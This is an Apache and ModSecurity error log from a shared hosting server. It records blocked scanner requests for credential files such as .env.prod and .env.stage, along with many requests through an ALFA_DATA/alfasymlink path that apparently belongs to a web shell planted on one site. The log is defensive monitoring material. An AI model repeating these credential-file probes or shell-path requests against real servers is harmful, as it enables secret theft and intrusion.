[Mon Oct 26 23:56:19.924145 2026] [security2:error] [pid 3155734:tid 3155734] [client 34.40.173.98:34124] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "monster.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "auAg4zDjgyCtC8OqdBtuVQAAAAc"]
[Mon Oct 26 23:56:19.924442 2026] [security2:error] [pid 3155734:tid 3155734] [client 34.40.173.98:34124] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "monster.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "auAg4zDjgyCtC8OqdBtuVQAAAAc"]
[Mon Oct 26 23:56:20.138151 2026] [security2:error] [pid 3155734:tid 3155734] [client 34.40.173.98:34124] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.stage"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "monster.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "auAg5DDjgyCtC8OqdBtuVgAAAAc"]
[Mon Oct 26 23:56:20.138377 2026] [security2:error] [pid 3155734:tid 3155734] [client 34.40.173.98:34124] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "monster.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "auAg5DDjgyCtC8OqdBtuVgAAAAc"]
[Mon Oct 26 23:56:20.138695 2026] [security2:error] [pid 3155734:tid 3155734] [client 34.40.173.98:34124] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "monster.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "auAg5DDjgyCtC8OqdBtuVgAAAAc"]
[Mon Oct 26 23:56:20.353154 2026] [security2:error] [pid 3155734:tid 3155734] [client 34.40.173.98:34124] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.ci"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "monster.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "auAg5DDjgyCtC8OqdBtuVwAAAAc"]
[Mon Oct 26 23:56:20.353379 2026] [security2:error] [pid 3155734:tid 3155734] [client 34.40.173.98:34124] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "monster.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "auAg5DDjgyCtC8OqdBtuVwAAAAc"]
[Mon Oct 26 23:56:20.353700 2026] [security2:error] [pid 3155734:tid 3155734] [client 34.40.173.98:34124] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "monster.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "auAg5DDjgyCtC8OqdBtuVwAAAAc"]
[Mon Oct 26 23:56:26.146216 2026] [ssl:error] [pid 3154108:tid 3154108] (70014)End of file found: [client 34.225.87.80:58069] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:56:30.190436 2026] [core:error] [pid 3153096:tid 3153096] (13)Permission denied: [client 44.223.193.255:62661] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/driver/0000:00:04.0/subsystem/drivers/virtio-pci/0000:00:03.0/resource4
[Mon Oct 26 23:56:38.159134 2026] [ssl:error] [pid 3154108:tid 3154108] (70014)End of file found: [client 85.208.96.202:36226] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:56:54.190209 2026] [ssl:error] [pid 3146365:tid 3146365] (70014)End of file found: [client 35.173.18.61:6383] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:57:02.441191 2026] [core:error] [pid 3155734:tid 3155734] (13)Permission denied: [client 185.191.171.15:43112] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/nf_tables/sections/__bug_table
[Mon Oct 26 23:57:08.256609 2026] [ssl:error] [pid 3146365:tid 3146365] (70014)End of file found: [client 185.191.171.5:63020] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:57:10.147885 2026] [ssl:error] [pid 3148730:tid 3148730] (70014)End of file found: [client 3.93.211.16:12980] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:57:18.133625 2026] [ssl:error] [pid 3147565:tid 3147565] (70014)End of file found: [client 52.54.95.127:2986] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:57:22.152873 2026] [core:error] [pid 3148730:tid 3148730] (13)Permission denied: [client 3.210.114.189:14522] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:00/physical_node/firmware_node/physical_node/subsystem/drivers/virtio-pci/0000:00:05.0/driver/0000:00:03.0/remove
[Mon Oct 26 23:57:34.172565 2026] [ssl:error] [pid 3152940:tid 3152940] (70014)End of file found: [client 3.217.171.106:16040] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:57:38.139018 2026] [ssl:error] [pid 3154108:tid 3154108] (70014)End of file found: [client 44.217.177.142:38882] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:57:38.235814 2026] [authz_core:error] [pid 3153096:tid 3153096] [client 34.52.157.9:31780] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 23:57:46.144479 2026] [ssl:error] [pid 3155734:tid 3155734] (70014)End of file found: [client 44.223.115.10:29918] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:57:54.136621 2026] [ssl:error] [pid 3152940:tid 3152940] (70014)End of file found: [client 34.195.248.30:24493] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:57:58.149835 2026] [ssl:error] [pid 3154108:tid 3154108] (70014)End of file found: [client 34.203.111.15:10205] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:58:02.250469 2026] [core:error] [pid 3149482:tid 3149482] (13)Permission denied: [client 44.217.255.167:3083] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:02.0/firmware_node/physical_node/subsystem/devices/0000:00:01.3/driver/module/drivers/pci:piix4_smbus/uevent
[Mon Oct 26 23:58:06.336206 2026] [ssl:error] [pid 3155734:tid 3155734] (70014)End of file found: [client 3.221.244.28:30542] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:58:14.197670 2026] [ssl:error] [pid 3154108:tid 3154108] (70014)End of file found: [client 54.197.82.195:11058] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:58:18.281473 2026] [ssl:error] [pid 3142605:tid 3142605] (70014)End of file found: [client 54.197.114.76:15275] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:58:26.320337 2026] [core:error] [pid 3153395:tid 3153395] (13)Permission denied: [client 44.223.193.255:16991] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory1/node0/cpu0/driver/cpu1/driver/uevent
[Mon Oct 26 23:58:30.293915 2026] [ssl:error] [pid 3154108:tid 3154108] (70014)End of file found: [client 3.208.156.9:11613] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:58:42.239770 2026] [core:error] [pid 3154107:tid 3154107] (13)Permission denied: [client 54.221.203.24:36533] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/ttyS3/subsystem/ttyS0/device/driver/unbind
[Mon Oct 26 23:58:50.815226 2026] [core:crit] [pid 3155734:tid 3155734] (13)Permission denied: [client 207.175.17.46:50856] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 23:58:51.230913 2026] [core:error] [pid 3154107:tid 3154107] [client 207.175.17.46:50876] AH00135: Invalid method in request VBEK / HTTP/1.1
[Mon Oct 26 23:58:54.342207 2026] [ssl:error] [pid 3146389:tid 3146389] (70014)End of file found: [client 54.210.155.69:10704] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:59:06.372281 2026] [ssl:error] [pid 3155734:tid 3155734] (70014)End of file found: [client 52.44.174.136:61541] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:59:18.429859 2026] [core:error] [pid 3153401:tid 3153401] (13)Permission denied: [client 98.83.177.42:63374] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory6/node0/cpu0/firmware_node/physical_node/driver/unbind
[Mon Oct 26 23:59:26.639636 2026] [ssl:error] [pid 3155734:tid 3155734] (70014)End of file found: [client 52.3.26.180:5577] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:59:31.165179 2026] [ssl:error] [pid 3147513:tid 3147513] (70014)End of file found: [client 52.203.237.170:26145] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:59:34.224241 2026] [ssl:error] [pid 3153096:tid 3153096] (70014)End of file found: [client 34.236.135.14:35733] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:59:38.422404 2026] [ssl:error] [pid 3152940:tid 3152940] (70014)End of file found: [client 44.207.69.106:65381] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:59:48.417987 2026] [authz_core:error] [pid 3147565:tid 3147565] [client 194.103.138.238:7125] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log, referer: http://sherwinpinturas.com/
[Tue Oct 27 00:00:10.240555 2026] [ssl:error] [pid 3154934:tid 3154934] (70014)End of file found: [client 44.217.177.142:32181] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:00:14.514896 2026] [core:error] [pid 3154107:tid 3154107] (13)Permission denied: [client 34.231.45.47:44816] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/system/cpu/cpu1/firmware_node/subsystem/devices/device:06/physical_node/resource4_wc
[Tue Oct 27 00:00:22.273521 2026] [ssl:error] [pid 3146365:tid 3146365] (70014)End of file found: [client 54.162.69.192:3688] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:00:23.245227 2026] [security2:error] [pid 3154934:tid 3154934] [client 45.167.184.132:49788] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "close, keep-alive"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/4"] [unique_id "auAh1wN4BqaRVlhGc4oP0QAAAAU"], referer: https://sherwinpinturas.com/
[Tue Oct 27 00:00:34.638011 2026] [ssl:error] [pid 3153798:tid 3153798] (70014)End of file found: [client 3.221.244.28:48899] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:00:46.272876 2026] [ssl:error] [pid 3146389:tid 3146389] (70014)End of file found: [client 34.194.165.45:7430] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:00:56.924074 2026] [ssl:error] [pid 3157074:tid 3157074] (70014)End of file found: [client 85.208.96.199:28152] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:00:56.924344 2026] [security2:error] [pid 3157074:tid 3157074] [client 85.208.96.199:28152] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/0000:00:02.0/local_cpulist"] [unique_id "auAh-FgTO7arM6pKRna5MAAAAAg"]
[Tue Oct 27 00:00:56.924375 2026] [security2:error] [pid 3157074:tid 3157074] [client 85.208.96.199:28152] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/0000:00:02.0/local_cpulist"] [unique_id "auAh-FgTO7arM6pKRna5MAAAAAg"]
[Tue Oct 27 00:01:14.418724 2026] [ssl:error] [pid 3147513:tid 3147513] (70014)End of file found: [client 54.210.152.179:22683] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:01:26.994799 2026] [ssl:error] [pid 3152940:tid 3152940] (70014)End of file found: [client 3.215.59.93:55820] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:01:31.631520 2026] [core:error] [pid 3157136:tid 3157136] (13)Permission denied: [client 23.21.179.120:1961] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory1/node0/cpu1/node0/memory12/subsystem/drivers_probe
[Tue Oct 27 00:01:41.035151 2026] [authz_core:error] [pid 3157118:tid 3157118] [client 45.198.224.125:37844] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 00:01:42.603299 2026] [ssl:error] [pid 3152940:tid 3152940] (70014)End of file found: [client 34.231.118.144:28400] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:01:58.344478 2026] [ssl:error] [pid 3157118:tid 3157118] (70014)End of file found: [client 54.163.169.168:41027] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:02:02.459714 2026] [ssl:error] [pid 3152940:tid 3152940] (70014)End of file found: [client 3.221.156.96:41831] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:02:06.363357 2026] [ssl:error] [pid 3157139:tid 3157139] (70014)End of file found: [client 35.169.119.108:29615] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:02:15.082779 2026] [core:error] [pid 3153096:tid 3153096] (13)Permission denied: [client 184.73.239.35:20071] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory4/node0/memory16/node0/cpu1/subsystem/uevent
[Tue Oct 27 00:02:18.508656 2026] [ssl:error] [pid 3153395:tid 3153395] (5)Input/output error: [client 23.23.213.182:8913] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:02:22.630130 2026] [core:error] [pid 3146389:tid 3146389] (13)Permission denied: [client 3.213.85.234:43684] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory1/node0/memory19/node0/memory15/subsystem/drivers_probe
[Tue Oct 27 00:02:34.444841 2026] [ssl:error] [pid 3153096:tid 3153096] (70014)End of file found: [client 23.21.148.226:23676] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:02:38.346560 2026] [ssl:error] [pid 3153395:tid 3153395] (70014)End of file found: [client 44.208.223.68:3490] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:02:46.500292 2026] [ssl:error] [pid 3152927:tid 3152927] (70014)End of file found: [client 52.2.4.213:47961] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:02:50.351265 2026] [ssl:error] [pid 3153096:tid 3153096] (70014)End of file found: [client 35.173.18.61:61904] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:03:14.028923 2026] [core:error] [pid 3154108:tid 3154108] (13)Permission denied: [client 85.208.96.195:28820] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bfq_queue/remote_node_defrag_ratio
[Tue Oct 27 00:03:14.594772 2026] [ssl:error] [pid 3147513:tid 3147513] (70014)End of file found: [client 44.193.115.232:37904] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:03:30.566202 2026] [ssl:error] [pid 3154108:tid 3154108] (70014)End of file found: [client 34.194.226.74:51135] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:03:46.561354 2026] [ssl:error] [pid 3154108:tid 3154108] (70014)End of file found: [client 3.94.157.25:46805] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:03:50.440198 2026] [ssl:error] [pid 3147513:tid 3147513] (70014)End of file found: [client 3.223.134.5:22161] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:04:02.634383 2026] [ssl:error] [pid 3149482:tid 3149482] (70014)End of file found: [client 3.217.82.254:49847] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:04:22.930024 2026] [ssl:error] [pid 3153096:tid 3153096] (70014)End of file found: [client 44.207.207.36:32304] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:04:40.107161 2026] [ssl:error] [pid 3157402:tid 3157402] (70014)End of file found: [client 3.93.211.16:27062] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:04:40.731990 2026] [ssl:error] [pid 3157403:tid 3157403] (70014)End of file found: [client 85.208.96.193:63652] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:04:42.041020 2026] [security2:error] [pid 3157404:tid 3157404] [client 130.12.180.171:58730] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp5.sherwinpinturas.com"] [uri "/.env"] [unique_id "auAi2iCFCWOOBIIpfA7qDQAAABU"]
[Tue Oct 27 00:04:42.041302 2026] [security2:error] [pid 3157404:tid 3157404] [client 130.12.180.171:58730] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp5.sherwinpinturas.com"] [uri "/.env"] [unique_id "auAi2iCFCWOOBIIpfA7qDQAAABU"]
[Tue Oct 27 00:04:42.041701 2026] [security2:error] [pid 3157404:tid 3157404] [client 130.12.180.171:58730] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp5.sherwinpinturas.com"] [uri "/.env"] [unique_id "auAi2iCFCWOOBIIpfA7qDQAAABU"]
[Tue Oct 27 00:04:50.552185 2026] [core:error] [pid 3153395:tid 3153395] (13)Permission denied: [client 34.236.41.241:20335] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/PNP0A03:00/device:00/physical_node/driver/0000:00:01.3/remove
[Tue Oct 27 00:04:54.759672 2026] [core:error] [pid 3157403:tid 3157403] (13)Permission denied: [client 54.156.55.147:5655] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:1d/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.2/driver/new_id
[Tue Oct 27 00:04:58.555490 2026] [ssl:error] [pid 3147565:tid 3147565] (70014)End of file found: [client 100.28.133.214:26797] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:05:02.589310 2026] [ssl:error] [pid 3147565:tid 3147565] (70014)End of file found: [client 3.212.86.97:32537] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:05:09.934247 2026] [core:error] [pid 3154107:tid 3154107] (13)Permission denied: [client 85.208.96.211:60374] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/khugepaged_mm_slot/shrink
[Tue Oct 27 00:05:10.487392 2026] [ssl:error] [pid 3142605:tid 3142605] (70014)End of file found: [client 52.22.64.232:65499] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:05:22.559968 2026] [ssl:error] [pid 3157138:tid 3157138] (70014)End of file found: [client 52.3.26.180:55305] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:05:34.726001 2026] [ssl:error] [pid 3155734:tid 3155734] (70014)End of file found: [client 3.93.98.99:43471] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:05:38.745592 2026] [ssl:error] [pid 3152940:tid 3152940] (70014)End of file found: [client 35.174.141.243:61352] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:06:06.609835 2026] [ssl:error] [pid 3157118:tid 3157118] (70014)End of file found: [client 3.94.40.182:52665] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:06:15.060680 2026] [ssl:error] [pid 3157138:tid 3157138] (70014)End of file found: [client 50.17.193.48:28081] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:06:18.890679 2026] [core:error] [pid 3154108:tid 3154108] (13)Permission denied: [client 44.209.89.189:57333] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/tty/ttyS3/subsystem/tty10/subsystem/ttyS1/uartclk
[Tue Oct 27 00:06:26.749941 2026] [ssl:error] [pid 3157118:tid 3157118] (70014)End of file found: [client 34.192.67.98:33862] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:06:34.604831 2026] [ssl:error] [pid 3157402:tid 3157402] (70014)End of file found: [client 23.21.204.95:31022] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:06:38.594107 2026] [core:error] [pid 3157404:tid 3157404] (13)Permission denied: [client 34.195.248.30:62563] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/drm/card0/device/firmware_node/physical_node/subsystem/drivers/ata_piix/0000:00:01.1/resource0
[Tue Oct 27 00:06:42.851678 2026] [ssl:error] [pid 3154108:tid 3154108] (70014)End of file found: [client 52.71.203.206:30660] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:07:07.143317 2026] [ssl:error] [pid 3154107:tid 3154107] (70014)End of file found: [client 3.210.29.96:2287] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:07:15.106248 2026] [security2:error] [pid 3152927:tid 3152927] [client 49.51.188.89:58497] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/.env"] [unique_id "auAjc-n4bIWiIXBuaEF_JwAAAAI"]
[Tue Oct 27 00:07:15.106515 2026] [security2:error] [pid 3152927:tid 3152927] [client 49.51.188.89:58497] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/.env"] [unique_id "auAjc-n4bIWiIXBuaEF_JwAAAAI"]
[Tue Oct 27 00:07:16.610244 2026] [security2:error] [pid 3157402:tid 3157402] [client 16.216.88.116:32768] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/conc/install.js"] [unique_id "auAjdKs6S6fM3j03wgP5QQAAABE"]
[Tue Oct 27 00:07:16.610296 2026] [security2:error] [pid 3157402:tid 3157402] [client 16.216.88.116:32768] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/conc/install.js"] [unique_id "auAjdKs6S6fM3j03wgP5QQAAABE"]
[Tue Oct 27 00:07:17.524951 2026] [security2:error] [pid 3152927:tid 3152927] [client 49.51.188.89:58497] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/403.shtml"] [unique_id "auAjc-n4bIWiIXBuaEF_JwAAAAI"]
[Tue Oct 27 00:07:22.640418 2026] [ssl:error] [pid 3157136:tid 3157136] (70014)End of file found: [client 3.232.82.72:39970] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 00:07:26.865797 2026] [ssl:error] [pid 3157138:tid 3157138] (70014)End of file found: [client 3.224.205.25:27917] AH02013: coalesce failed to read from data bucket
